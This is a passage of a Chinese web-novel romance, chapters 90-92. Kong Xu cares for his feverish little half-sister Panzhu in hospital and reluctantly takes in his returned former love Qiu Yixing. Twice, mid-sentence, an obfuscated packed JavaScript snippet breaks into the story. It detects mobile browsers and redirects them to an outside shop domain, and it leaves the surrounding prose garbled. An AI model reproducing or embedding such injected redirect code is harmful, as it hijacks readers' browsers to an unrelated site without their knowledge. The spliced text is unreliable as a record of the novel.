昨天他帮了自己,孔栩觉得一点盐也没什么大不了,不然显得自己小气。 他进门直接拿了一袋盐给邱以星,没等邱以星说谢谢,就把门带上了。 过了五分钟,孔栩听见门铃响,他以为是唐烨,看也不看直接开了门,没料到再次与邱以星面面相觑。 “你还有事?”孔栩握紧门把,万分不解,“盐不够?” “呃,”邱以星说,“能借点醋吗?” 孔栩:“你等着。” 他转身去厨房,把自己用剩的半瓶醋都给了邱以星,嘭一声关上门。 然而不出十分钟,门铃又响了。 孔栩为数不多的耐性已经要被消耗光,他咬着牙拉开门,一字一顿:“你又要干什么?” 邱以星系了条围裙,勒出窄窄的腰身,两只袖口撸到胳膊肘,修长结实的小臂泛出青筋,他笑了笑,露出一口白牙:“还差个盘子。” 孔栩:“你来我家进货来了?!” 邱以星:“不好意思啊。” 孔栩一抚额头:“行,我给你拿。” 他踩着震天响的步伐给邱以星抱来了一摞盘子,并警告他说:“最后一次。” 邱以星干脆地回答:“好的。” 孔栩坐在沙发上,努力平复自己的心情。 眼看着十一点半了,他没心思做饭,想着要不点个外卖,他正要下单,门铃又又又响了。 孔栩攥着拳,噌的从沙发一跃而起去开门,心想,没完没了了是吧?! 邱以星赶在孔栩揍他之前说:“我想问问你吃了没有,没吃的话可以到我家里吃,我做了很多菜。” 孔栩:“……” 他想说不去,可肚子在此刻发出不争气的空荡的鸣响,令他尴尬地静默了一秒钟。 孔栩又想,拿我的盐和醋和盘子,我吃他一顿饭怎么了? 于是说:“只吃饭,别跟我说废话。” 邱以星笑了笑:“好。” 这是孔栩第一次踏进邱以星的家。 邱以星家的装饰风格属于极简中的极简,孔栩一进屋被一 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邱以星的手一顿,笑着说:“孩子几岁了?” 孔栩:“五岁半。” 邱以星继续旁敲侧击:“孩子妈妈工作很忙吗?” 孔栩言简意赅地吐出一个字:“忙。” 邱以星不说话了。 孔栩见状也差不多饱了:“你想说什么就直说吧。” 邱以星:“你真的……结婚了?” 孔栩:“跟你没关系。” 邱以星:“不直说就是没有。” 孔栩重重地撂下筷子:“你以为你很了解我吗?” 邱以星沉默了一两秒,毫无预兆地说:“孔栩,对不起。” 这句“对不起”突然间砸过来,一时间令孔栩不明白他在道哪门子的歉,于是他困惑地问:“你说的是哪方面?” 邱以星一时间心乱如麻,他的身体微微前倾,手指攥得发白:“很多……当年我不是故意说那些话,也不是故意一走了之。” 孔栩却轻飘飘地笑了:“不是你的错。” 邱以星无措地看向他,孔栩托着下巴,没有丝毫情绪地说:“怪我识人不清,是我的错。如果我当初早点认清你是什么样的人,就不会有后来那些事了,你完全没有必要跟我道歉。” 孔栩拽了张纸巾,擦擦嘴,站起身说:“菜很好吃,谢谢你的款待,我过几天就会搬走,以后别见面了。” 邱以星快走两步追上他,一把握住孔栩的胳膊,震惊地问:“你要搬走?!搬去哪?” 孔栩猛地抽回胳膊,恶狠狠满是厌恶地说:“当然是再也不会碰见你的地方!” 说实话孔栩讨厌这样的自己,他讨厌轻而易举就被邱以星两三句话激得面红耳赤,也讨厌自己失控、口不择言。 这些年,他一直过着一种与世无争的隐士生活,他觉得这样过一辈子就很好,这份他好不容易保持的平静正在一步一步被邱以星打碎。 “你恨我,”邱以星逼问他,“你恨我是因为对我有感情,不是吗?你为此还编造出一个莫须有的孩子,你根本没有结婚,也没有小孩,不然你这么负责的人不可能成天去酒吧花天酒地。” 孔栩身心俱疲,懒得跟他争执:“随便你怎么想。” 他三两步走到门边,拉开门,邱以星急切地追过去,却看见唐烨怀里抱着个穿裙子的小女孩站在走廊,正一脸不解看向他们两人。 唐烨:“孔栩,你怎么在他家?” 此时唐烨怀里的小孩突然间扭过头,她长着一双水汪汪的大眼睛,小巧的鼻子与一张红通通的薄嘴唇,她看见孔栩,乌黑的眼睛滴溜溜一转,朝他伸出小手,让他抱。 “盼珠,怎么这个点过来了?”孔栩伸手稳稳地接过盼珠,问唐烨,“怎么回事,下午没课了?” 唐烨忙说:“哦,你家的这位公主,刚刚在幼儿园跟别的孩子打架,哭得那叫一个惨,老师给我打电话让我接她回去好好安抚她,她不想回她妈那,吵着要来你这里。” “打架?”孔栩关切地仔细查看她露出来的手臂,“有没有受伤?” 盼珠眼皮还泛着一点红,她口齿伶俐,带着满满的骄傲:“没有,我赢了,我把他们全都打趴了。” 孔栩闻言松了口气,与此同时又升起一股无奈:“你啊,马上就要打遍幼儿园无敌手了。” 邱以星看着盼珠,他手脚冰凉,隐含的最后一点期待也破灭。 盼珠的眼型跟孔栩长得如出一辙,还是那种独特的浅色瞳孔,被光一照像是要流淌出蜜糖一样。 她的嘴唇也像孔栩,得意的神态也相似,她圈着孔栩的脖子,亲昵地用鼻尖蹭他的脸:“嘿嘿,我好想你啊。还有你不要告诉妈妈我打架了哦,她要是知道了,会揍我的。” 90. 第 90 章 盼珠把小书包丢在沙发上,自己一个人拿着画笔趴在地上涂涂画画。 她画得特别专注,不过画技与孔栩一样稀烂,孔栩看了半天也没看出她画了什么,只好放弃,问她:“怎么回事,为什么又打架?” 盼珠一边画,头也不抬地一边说:“他们抢我的东西。” “那也不可以打人,”孔栩严肃教育她,“你这学期被叫过几次家长了,总不能老师一打电话,就让我装你爸爸。还有,你以后要注意,不要一喊顺口就喊我‘爸爸’,‘哥哥’是烫嘴吗?” 盼珠撒娇说:“哎呀,我知道了我知道了,我下次不会这样了。” 孔栩见她这样就是压根没听进去,她扎着两根小辫子,发黄的小卷毛随着点头的动作一颤一颤的,孔栩被她闹得没了脾气:“中午吃了没有?” 盼珠说:“吃了一点点。” 孔栩:“饿不饿,柜子里有零食,你少吃点,晚上要吃饭。” 盼珠摇头,淡淡的小眉毛不满地皱起:“不饿,不想吃。哥哥,你不要跟我说话了,我要画画。” 孔栩走过去使劲撸了一把她的头:“小东西,敢嫌弃我。” 这个周末孔栩过得堪称是风平浪静,自从邱以星见过盼珠后,就再也没来骚扰他。 期间孔栩利用周末时间带盼珠去动物园逛了逛,之前就答应过盼珠,她一早就高高兴兴地穿好衣服,自己刷牙洗脸涂好宝宝霜。 孔栩觉得她乖巧又懂事,是个天使宝宝。不过等到去了一遭动物园,天使就化作恶魔,盼珠全程黏在孔栩怀里,指着冰淇淋说:“哥哥,我要吃这个。” “不行,太冰了,你肠胃不好。”孔栩一拒绝,盼珠张开嘴嚎啕,嚎得周围人纷纷侧目,孔栩连忙答应给她买,让她舔了好几口。 大热天的,盼珠舔了几口觉得不过瘾,硬是啃了两大口冰淇淋球。 她将冰淇淋球含在嘴里,口齿不清地告诉孔栩:“哥哥,我要去喂大老虎。” 孔栩抱着她,从老虎山到孔雀园,最后到广场上的鸽子,挨个喂了一遍,盼珠精力不减,是条脱缰的小疯狗,最后从孔栩胳膊弯里跳下来,拽着孔栩要坐碰碰车。 “妹,放哥一条生路吧。”孔栩汗流浃背,唇干舌燥,忆及这辈子做过最累的事都没带孩子累,“我走不动了,能不能让我歇会儿?” 盼珠瞪着他,控诉说:“妈妈从来不喊累!” 孔栩愣了一下:“何盼珠,我又不是你妈妈。” 盼珠鼓鼓囊囊的脸颊看上去肉质格外肥美,孔栩手欠两指一夹:“好了,我今天舍命陪君子,你想什么时候回家就什么时候回家,行不行?” “不要陪君子,要陪盼珠!” “行行行,”孔栩说,“没文化的小东西,玩去吧你。” 盼珠玩到日薄西山,园区里的人肉眼可见变得零零散散,她浑身是汗,发出一股奶呼呼的馊味,孔栩被熏得不行,点着她的鼻子:“小臭丫头,回家洗澡了。” 她终于玩累了,回去路上一直趴在孔栩肩膀,闭眼小声打着呼噜。 到家后,孔栩把她叫醒,让她去洗澡,盼珠迷蒙着眼睛,轻轻嗯了一声。 盼珠洗澡就是拿热水冲一冲身上的汗,她洗好出来后,小脸蛋红扑扑的,嚷着说热,还想吃冰淇淋。 孔栩用手指将她拨到一边:“不可以,今天冰淇淋的份额已经超标,再说吃我要告诉你妈妈。” 盼珠咬着嘴唇,恨恨地说:“坏哥哥。” 孔栩不甘示弱:“坏妹妹。” 孔栩转身去给盼珠做晚饭,盼珠却哇的一声,吐了一地的花花绿绿。 中午吃的东西都没消化,被她原汁原味还给了孔栩。 盼珠晕乎乎地往地上一坐,没力气嚎了,虚弱地说:“哥哥……我好难受。” 孔栩大惊失色,惊惶地大喊:“盼珠!” 他一把将盼珠抱在怀里,鞋都没顾上穿,拿着手机冲出家门给他妈打电话。 可是电话没打通,孔栩悲哀地想,为什么在这个节骨眼打不通。 盼珠两条小胳膊不受控制地抽动,眼睛一直往上翻,嘴唇变得青紫,嘴角泛出白色沫沫。 孔栩吓得魂飞魄散,电梯又迟迟不来,他跪在地上使劲掐盼珠人中,可他手抖得不行,盼珠丝毫反应也没有。 “怎么了?”邱以星听见动静,趿着拖鞋出来看了一眼。 孔栩齿关打着哆嗦,眼眶通红,语无伦次地说:“她突然间抽搐不止,我不知道是怎么回事,都怪我把她带出去玩……我要带她去医院,救护车太慢,我等不了了……” 邱以星走去把孔栩从地上扶起来,伸手探了下盼珠的额头:“头很烫,可能是高烧引发的惊厥,先把她衣服解开透透气,我那有退烧贴,先贴上退烧。没事,别慌,你回去把鞋穿上,给她收拾一两件衣服,马上带她医院。” 孔栩听着邱以星有条不紊的声音渐渐平复下来,他把盼珠交给邱以星,回屋按照邱以星说的把盼珠放衣服的小包带上,又穿上鞋,这时他才感觉到脚的存在。 出来后,邱以星已经往盼珠头上贴上了退烧贴,盼珠趴在邱以星肩头,微弱地呼吸着,邱以星拍着她的背,对孔栩说:“我和你一起去医院,你现在的状态不能开车。” 孔栩默认,将盼珠接回自己怀里:“我来抱她。” 车窗外夜色降临,邱以星开着车在路上疾驰,盼珠从惊厥中苏醒,继而大哭,哭完将脸埋在孔栩怀里,难受地发出哼哼唧唧的声音。 “马上到医院了,”孔栩轻拍她的背,极尽轻柔地安抚说,“不怕,我陪着你。” 盼珠小手攥着孔栩胸前的衣服,眼皮紧紧合着,额前的头发被汗水浸湿。 邱以星透过后视镜看了孔栩一眼,心中一阵绞痛。 孔栩原来对孩子会是这副模样。 记忆中的孔栩还是个少年,如今已经成为能照顾孩子的大人了,邱以星强迫自己收回视线,心无杂念地看着前方的道路。 医生给盼珠做了血常规和CT,初步判断与邱以星一致,孔栩不放心,让盼珠先在医院住一晚。 盼珠躺在病床上,最初那阵难受劲过去了,眼皮微微撑开一条缝,悄悄打量孔栩。 孔栩握了握她的手,给她喂了一点水:“不舒服就告诉我,妈妈打电话来了,我跟她说一声。” 盼珠委屈巴巴:“别告诉妈妈……不是吃冰淇淋吃的。” 孔栩瞬间涌上一股无力感,摸了摸她的小脑袋:“不会跟她打小报告,你别担心,好好休息。” 盼珠这才放下心,看见孔栩去打电话,她无处安放的眼神落在了一旁的邱以星身上。 邱以星看她烧成这副模样,小眼神还兴致勃勃地转来转去,只听她哑着嗓子说:“我见过你。” “我也见过你。”邱以星对她笑了笑,看她总像在看小版的孔栩,他柔声说,“闭眼睡会儿吧,醒来就不难受了。” 盼珠觉得这个哥哥莫名地可靠,于是她侧过身,面向邱以星的方向,两手合在一起,压在脸颊下方,乖乖巧巧安安静静地睡着了。 过了一会,邱以星看见孔栩打完电话走进病房,伸手摸了摸盼珠的额头,终于烧退了。 孔栩满是怜爱地将盼珠鬓角边的小卷毛理顺,等她呼吸均匀之后,孔栩对邱以星轻声说:“今天真的非常感谢你。” 邱以星摇摇头,问:“你晚上在这陪她?” 孔栩:“嗯。” 他摊在邱以星身旁的椅子上,身心俱疲。给何斯清打电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333591|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何斯清说盼珠之前也出现过高烧惊厥,反倒安慰他,烧退了就好了,她还说孔栩小时候也出现过这种情况,长大就皮实了。 何斯清随口一说,孔栩却愣了一下,想说,当时你也跟我一样兵荒马乱吗? 可他没有问出口,这些年孔栩跟何斯清的关系稍微缓和了一点,这都要归功于何盼珠。 何斯清生盼珠时,孔栩一直陪在医院。说实话,她生下来时长着一张苦瓜脸,浑身皱巴巴,嘴巴一撇就是哭,长相不是一般丑,令孔栩不忍再看第二眼。 后来她越长越大,从一个小不点跌跌撞撞地到他膝盖一般高,盼珠学会叫他哥哥,经常给他打电话,奶声奶气地问他“哥哥你什么时候回来呀?”。虽然她的家不是孔栩的家,不过被人惦念的感觉还是很好的,孔栩时常去她家做客,偶尔跟何斯清聊聊生活上的小事,让这对互相怨怼的母子渐渐开始理解对方了。 孔栩又想起很久之前的事,那时候邱以星也曾经深夜陪他来过医院。 于是他仰头望着洁白的天花板,对邱以星说:“你有没有觉得我们和医院很有缘?” 邱以星说:“别乱说,老天保佑我们以后都不要来这里。” 孔栩提着的一颗心终于落下来,在安静的环境中听出了邱以星声音有点不太对劲,磨砂似的,带着一丝粗粝的沙哑。 他侧过头看邱以星:“你怎么了?” 这时他才发现邱以星的眼睛很红,泛着不正常的血丝,脸色也苍白得很,嘴唇干得起了皮,整个人看上去像打了霜的茄子,蔫巴巴的。 邱以星:“我说我也发烧了,你信吗?” 孔栩当然不信:“啊?” 邱以星在家里躺了一整天,也烧了一整天,好不容易攒了一点力气出门,到现在也差不多消耗光了。他无法继续保持昂扬的精神头,只有一个念头吊着他,他凑近孔栩,追问说:“你能不能像摸摸她那样,摸摸我的头?” 孔栩毫不客气地将手拍在邱以星脑袋上,本来是想将他拍远点,结果掌心一碰他的额头,却仿佛贴到了一个大火炉,烫得他直皱眉头。 邱以星顺势将头抵在孔栩的手掌上,孔栩一收手,他便朝孔栩扑过去,嘴唇擦过孔栩的脸颊,可怜地在孔栩耳边说着胡话:“小木鱼,求求你……能不能再给我一个机会?” 孔栩一动不动,静了半晌:“即使我结婚有了小孩?” 邱以星:“别说这个,我不想听。” 孔栩口出雷霆之语:“你想当小三?” 邱以星滚烫的呼吸吹拂着孔栩的耳廓:“你跟你妻子关系不好吧,不然她怎么一直不出现?还是说你们在分居?既然如此,我也不算是破坏他人家庭,顶多可以算是自由恋爱。” 孔栩:“小三有人当了怎么办?” 邱以星差点一口气没喘上来:“是上次大晚上去你家的男人?” 孔栩:“……” 邱以星骇然:“还是你那个贼眉鼠眼的助理?!” 孔栩气愤:“唐烨长得那么周正,哪儿贼眉鼠眼了?”又满嘴跑火车,“小四小五都有人了,得排队。” 邱以星久久地沉默了,过了很长很长时间都没有再说话。 孔栩:“不愿意就算了,反正不缺你一个。” 邱以星急忙道:“等会,没不愿意,你能不能给我点时间让我消化消化。” 孔栩:“嘘!小点声,别把盼珠吵醒了。” “行,”邱以星下定了某种决心,说,“小六就小六吧,你有时间计划表吗?” 孔栩:“要那个干什么?” 邱以星:“我都排六号了,你总得合理分配一下我的上工时间吧?” 孔栩的脸涨得通红,低声骂道:“邱以星,你滚去看病行不行啊?” 91. 第 91 章 邱以星回来一直到现在,就没听过孔栩叫过一次他的名字。 于是他说:“你能不能再骂我一遍?” 孔栩彻底没辙了,邱以星的癖好实在令人费解。 他直接将邱以星拽出病房去找医生,此人脚步虚浮,半挂在孔栩身上,孔栩走得摇摇晃晃,一路的护士都在看他们。 “邱以星,你给我站直了!” “直不了,”邱以星浑浑噩噩地说,“我是弯的,你不是早就知道吗?” 孔栩想把他团吧团吧扔垃圾桶里。 邱以星被医生怒斥一通,骂他是不是脑子糊涂了,烧成这样才来医院,是不是想把自己烧成人干。 连累一旁的孔栩也被骂:家属能不能上点心?竟然让病人开车过来,真是不像话。 邱以星喃喃:“跟他没关系,都是我的错。” 孔栩把他嘴捏上,让医生给邱以星开药。 邱以星从昨天夜里开始低烧,吃了退烧药暂时退了烧,他以为像之前那样,躺躺就好了。没想到这次发烧却来势汹汹,好像这病知道有人在自己身边,他不用再硬抗,于是大肆入侵,把他烧得外焦里嫩,奄奄一息。 医院单人病房很紧俏,邱以星就坐在盼珠病房的陪护椅上吊水。他手背上插着吊针,靠在椅背上昏昏沉沉地闭着眼,期间感觉有谁用手轻轻地贴在了自己额头上。 孔栩很是心累,一人照顾两个病号,小的睡觉不老实,总是踹被子,大的明明困得不行了,还要强行睁眼找他的位置。 孔栩把盼珠两侧的被子用枕头牢牢压住,又坐在邱以星身旁,把他的头按在自己的肩膀:“靠一会儿,等这瓶水吊完。” 邱以星没有说话,他自然而然地侧过脸,将头搭在孔栩肩膀,几乎是半张脸埋在孔栩的脖颈,鼻梁上的那块硬硬的骨头抵着孔栩颈项,他闻着孔栩身上淡淡的气息,过了很久,说:“我好想你。” 这句话轻轻地逸散在空气里,却又无处不在地久久回荡在孔栩的耳中。 孔栩没说话,他感觉到一丝很烫的湿意从衣领流进了颈口,滑向锁骨,像是小虫子爬过,激起一阵战栗,他忍不住动了一下,然后那缕湿意被他棉质的衣料缓缓吸干,有些阴凉地贴在了他皮肤之上。 邱以星病来如山倒,第二天盼珠都活蹦乱跳地下床囔着回家了,邱以星还是一副半死不活的样子。 问邱以星能不能找到照顾他的人,邱以星当然摇头说没有,于是孔栩叫唐烨过来,帮他将盼珠送回家。 唐烨随叫随到,弯腰一把抱住盼珠:“公主,我们回家啦。” 盼珠笑得咯咯的:“出发!” 唐烨一转身,便和邱以星撞了个正着,他刚想问孔栩怎么不跟他们一起走,看到一脸病容的邱以星顿时明白了七八分,于是他不等孔栩开口,便说:“没关系,都交给我,你放心陪他吧。” 等唐烨离开,邱以星才阴沉沉地说:“你这个助理,真是很有眼力见,他是因为这个才获得你青睐的吗?” 孔栩懒得理他:“邱小六,你怎么说话的,注意你的身份。” 邱以星:“……” 孔栩又说:“这才像话,你躺床上休息会儿,我去买点吃的回来。” 邱以星默默看着孔栩脚步匆匆离开了病房,心中满是郁闷。 孔栩出去是为了透透气,跟邱以星在同一个屋子里容易被他的傻劲同化,再下去,他觉得自己马上就要变回幼稚、爱嘴上逞能的小孩子。 他也不知道哪根筋搭错,说了那些小三小四之类的话,邱以星竟然真的相信他的胡言乱语,还同意当他的地下情人。 孔栩重重按压着太阳穴,心说,事情为什么会朝这么诡异的方向发展? 他跟邱以星又莫名其妙地牵扯到一起。孔栩感到格外挫败,因为他听见邱以星哭着说“我好想你”的时候,他的心久违地震颤了一下。 他想不想邱以星? 在过去的很长一段时间里,他曾经无数次地想邱以星。 想他在哪,想他在做什么,想他是否有其他苦衷,想他到底哪天会回来,想再见面的那天他会跟邱以星说些什么。可是一年过去了,两年过去了,三年过去了……时间就这样一往无前地朝前走着,孔栩隐隐觉得邱以星再也不回来了。 他存在的痕迹越来越稀薄,周围的人也不再频繁提起他,孔栩有时会有种错觉,“邱以星”其实并不存在,只是他想象出来的人。 如果事实如此,孔栩或许会好受一些。可邱以星活生生地存在着,他的消失,对孔栩来说是一次毁灭性的打击,那些隐秘的思念在日复一日的磋磨中变成一把把锋利的刀,切割他软弱的魂灵。 所以他发誓不再如此软弱,如果爱让人软弱,他就不要再去爱人。 如果邱以星让他如此痛苦,他就不要再想他,不要反复回忆他。 他在心里与邱以星进行了永诀,可邱以星再度出现在他眼前,向他索要一个机会。 孔栩想,这个机会他可以给,但是什么时候结束,就不是邱以星说了算的。 孔栩回到病房,看见邱以星已经穿戴整齐,正坐在床边,像一块望夫石定定地望着门口。 护士已经给他拔了针头,他手背上贴着一块白色的输液贴,他老实端正地坐着,见到孔栩回来,两眼明显亮了一下,又看见孔栩空空如也的双手:“你去吃独食了?” “忘买了。”孔栩随口说,“你怎么不去躺着?” 邱以星:“护士说我不用留在医院,明天再过来吊水,做个检查就行了,要不我们回家吧?” 孔栩也想回家洗个澡,医院的气味并不好闻,昨晚他也没有休息好,很想回自己的大床上好好躺一躺。 于是他说:“也行,我来开车,钥匙给我。” 邱以星便把车钥匙给孔栩,孔栩伸手去接,邱以星却将钥匙一勾收回来,另只手顺势把孔栩的手握在了掌心,他望着孔栩,有些惴惴不安地问:“你答应我的事,还作数吧?” 孔栩挥开他的手,拿过钥匙,语气漠然地说:“当然作数,我又不是你。” 孔栩心里乱糟糟的,跟邱以星一起回了家。 邱以星站在门口叫住孔栩,要告诉他自己屋子的密码,还要给孔栩录指纹,孔栩说不用,邱以星问:“为什么?这样你可以随时进出我的家。” 孔栩随便找了个借口:“因为我不想你家以后失窃什么东西,警察率先怀疑到我身上。你进去歇着吧,我困了。” 邱以星看了孔栩片刻,朝他一笑:“那需要邱小六的暖床服务吗?” 孔栩蔑视地从上到下扫视邱以星一圈:“不用了,我对病人没有什么想法。” 邱以星显得更郁卒了,他努力地解释说:“我平时身体非常好,真的。” 孔栩朝他挥挥手:“再说吧,拜拜。” 邱以星眼睁睁看着他毫不留情地关上了大门,觉得自己路漫漫而修远兮,上下求索之路无比艰难。 孔栩回家冲了个澡就躺下了,戴上眼罩,一觉睡到晚上八点半。 醒来一看手机多了一堆未接来电,有陆笑蓉的,唐烨的,还有刘真的。 唐烨见他没接电话,给他发了消息,说已经将盼珠安全送回家,顺便提醒孔栩下一周的行程安排,又顺带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348195|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八卦了一下子他跟邱以星的关系,还说他在网上查看了很多资料什么的。 孔栩给他批了个“已阅”,然后给陆笑蓉回了个电话。 陆笑蓉很快就接了起来,她声音显得格外兴奋,孔栩隔着屏幕似乎都看见她兴奋得红扑扑的脸:“我的天,你怎么才给我回电话,我都急死了。小木鱼,你快猜猜发生了什么好事?” 孔栩不假思索:“你把老总踢出了公司自己当老总?” 陆笑蓉:“不是!Lian终于联系我了,而且还答应了我的合作请求。” 孔栩听起来也很高兴:“真的?阿涟怎么说的?” 陆笑蓉:“就是Lian常用的那个社交软件,我给Lian发了消息,Lian下午回我了。” 孔栩:“记得帮我要签名。” 陆笑蓉的声音听起来有些犹豫:“嗯……这个嘛,我还有个消息想告诉你。” 孔栩:“什么?” 陆笑蓉:“Lian说想让你负责钢琴的部分。” 孔栩震惊:“……阿涟知道我?” 陆笑蓉:“Lian是歌手,怎么可能不知道我们啊?想当年我们也是站在顶端的人,他要是不知道,也太没品了。”说到这,她顿了顿,“……不过你愿意吗?” 孔栩沉默了几秒钟。 他确实是太久太久没有碰过钢琴了。 大二那年暑假,他参加过一次支教活动,去偏远地区教当地小朋友们音乐。小朋友们热情友善,孔栩在那个地方多留了半个多月,最后不得不离开。他毕业后,隔一段时间会回去看他们,这件事连唐烨都不知道,以为他只是去什么地方独自旅行。 虽然这几年断断续续会教人弹琴,但是正式的练琴活动几乎停止,他记不得上次正正经经弹一次肖邦是在什么时候了。 “嗯,你让我想想。”孔栩对陆笑蓉说。 陆笑蓉并不逼迫孔栩:“你要是不愿意,我就回绝Lian,反正也不是非这个人不可,求着我的人可是一抓一大把呢。” 孔栩笑笑:“知道了,最晚下周三之前回复你。” 陆笑蓉:“好,那就这样,挂了。” 孔栩:“嗯。” 最后是刘真的电话。 孔栩没理,暂时不太想跟刘真说话。 他从床上起来,感到肚子一阵空虚,打算给自己煮个面条,刚进厨房,就想起了邱以星。 不知道邱以星吃了没,他的病还没好全,自己能做饭吗? 孔栩这么想着,索性多煮了一把面条,煮好后,他关了火,去按对门的门铃。 过了一会儿,邱以星拉开了门。 邱以星穿着一件松松垮垮的V领针织衫,V领有点敞得太过开了,几乎开到了他的腹肌。 搞得孔栩眼睛一时间不知道往哪儿放,他把脑子里的话找出来:“面条煮多了,你吃不吃?不吃我倒了。” 邱以星:“吃。你等我一下,我换双拖鞋。” “你换什么鞋,”孔栩纳闷,“我给你端过来,你就在你家吃。” “所以,”邱以星皱着眉,这次是真有些难受了,“我不能去你家吗?” 孔栩转过身:“你等着。” 然后他端着一口热气腾腾香气扑鼻的小锅,重新来到邱以星家门口,不过邱以星已经不在门口了,大门是开着的,孔栩只好端着小锅走进邱以星家里。 邱以星不在客厅,也不在厨房,于是孔栩把小锅放在餐桌上,推开邱以星留了条缝隙的卧室门:“喂,邱以星,吃饭了,你跑房间里干什么?” 随即他微微惊讶地张大了眼睛。 92. 第 92 章 邱以星的卧室跟他家的客厅一样,大且空荡,有个很大的黑色行李箱靠着墙,除此外只有一床直接放在地上的被子。 被子看上去很单薄,垫在地上的只有薄薄的一层床垫,邱以星此刻正呈一个“大”字形躺在上面,听见孔栩走进来也没反应,眼睛一眨不眨地盯着天花板。 孔栩突然间拍了两下手掌,冷着脸赞叹说:“真厉害,连张床都没有,你在扮演哪门子的难民?” 邱以星还是不动,孔栩走过去踢了邱以星一脚:“给我起来,别装死。” 邱以星有气无力地丢给他几个字:“不想动。” 孔栩感觉火星子在脑子里噼里啪啦直冒,他弯下腰,一把揪住邱以星的衣领,可邱以星已经不是从前那个身形单薄的少年了,岂是他能一把抓起来的,没把他抓起来,孔栩反而被邱以星带着栽倒在他怀里。 “我真是……”孔栩下巴重重磕在邱以星坚硬的肩膀,把眼泪花都磕了出来,他眼泪汪汪地舔了舔下嘴唇,似乎磕破了皮,他一舔就尝到了血腥味。 邱以星没料到他撞得这么狠,凑过来查看他的伤势,手指轻轻在他伤口旁碰了碰,孔栩“嘶”了一声,立即往后一仰,没好气地说:“别碰我,差点在你家咬舌自尽。” “我看看舌头。”邱以星伸手直接一捏孔栩的脸颊,迫使孔栩张开嘴。 孔栩瞪圆眼睛,像只愤怒的小河豚,红通通的舌头安然无恙地躺在他口腔里,邱以星莫名其妙看了半晌,然后松开手,淡然地说:“没什么事。” 孔栩简直要被气笑了:“你有病吧?” 邱以星重新躺了回去,展开两臂,枕在脑后,回答:“我已经治好了。” “我说你躺地上是什么情况?”孔栩说,“你穷得连张床都买不起了?” 邱以星:“不想买。” 孔栩:“为什么?” 邱以星:“因为我以前答应过一个人,要跟他一起布置我们的家。” 孔栩顿了足有两三秒,这两三秒里不知他想到了什么,面色有了些许变化,语气也变得冷了一点:“哦。” 邱以星很无奈地叹了口气:“我没问过他喜欢一米八的床,还是两米的床,还要挑选他喜欢的床单和被罩颜色,万一我提前买了他不喜欢怎么办呢?如果他生气,我真的很难把他哄好。” 孔栩:“……” 邱以星继续喋喋不休地说:“唉,他这个人呢,对细枝末节的小事情也格外用心,所以我不能只顾自己,对不对?毕竟我们要在一起生活一辈子,不让他满意怎么能行呢?” 孔栩咬牙切齿:“谁说要跟你‘在一起生活一辈子’?” 邱以星仍旧保持着仰头的姿势:“我又没说是你。” 孔栩很想拿枕头把邱以星闷死,可他家连个枕头都找不到。孔栩忍了忍,站起身,不打算跟他说些无聊的废话。 成天说这些废话,他听得心烦意乱。 邱以星偏过头,自下而上望着孔栩转身离去的动作,然后他捂住嘴剧烈地咳了两声,孔栩停都没停一下,很快就不见了身影。 他背过房门,将自己蜷成一只大虾,压抑着声音狂咳,咳了好一阵他才稍微好受点儿。 邱以星长长舒了一口气,打算起来去吃孔栩做的面条,他早饿了,在房间里都闻到了香气,希望孔栩不要一时生气把面条端走倒了。 他撑着身体,坐起来,然后看见孔栩靠着门框,看也不看他一眼,说:“带上你的被子,去我家的客房住一晚。” 他说完就走了,邱以星连忙抱着还在冒热气的小锅跟过去:“为什么是客房?” “不满意?爱住住,不爱住滚。” 邱以星:“爱住,绝对爱住!” 孔栩:“还有快打电话,让人送张床过来,只能今天住一晚,明天床送过来了,就滚回你家去。” 邱以星满口答应,抱着锅如愿进了孔栩的家。 孔栩和邱以星坐在一起吃着已经完全变坨的面条。 面条软塌塌的,口感类似于煮熟的纸片,味同嚼蜡,邱以星却狼吞虎咽像是半辈子没吃过这么好吃的东西似的。 时间九点过十分,孔栩捞了几筷子面条就吃不下,让邱以星吃完自觉点去洗碗,他要去洗澡。 邱以星连声答应,等孔栩擦着湿漉漉的头发出来时,他看见邱以星已经洗好碗,把厨房收拾得光可鉴人,正站在客厅靠里的位置。 他身侧是孔栩放置的一架立式钢琴,用白布罩着,上面落了一层灰,一看就是很久没弹过了。 邱以星伸手在白布上轻轻一捻,两指搓了搓,回身不解地问孔栩:“这琴是摆设吗?如果是个摆设,为什么拿白布罩起来?” 自这台钢琴搬进家里,他就没弹过,以至于这玩意就跟他家的大白墙还有玻璃、窗帘没有丝毫区别,他完全忘记客厅里还放着琴了。 孔栩眉头飞快皱了一下:“你管那么多干什么。” 邱以星询问:“我能弹弹吗?” 孔栩果断拒绝:“不能。” 邱以星不免有些失望:“好吧。” 孔栩松了口气,他转身去找吹风机,嘴上念叨着:“不早了,你也快去洗一洗,护士不是说你明天还得去医院做检查?我就不陪你去了——” 他话没说完,邱以星伸手一把将钢琴上的白布掀了。 霎时间,无数细小的灰尘在空中舞动,孔栩猝然间扭头。 邱以星揭开的白布之下是一台朴实老旧的琴,并非是他想象中多昂贵精致的款式。 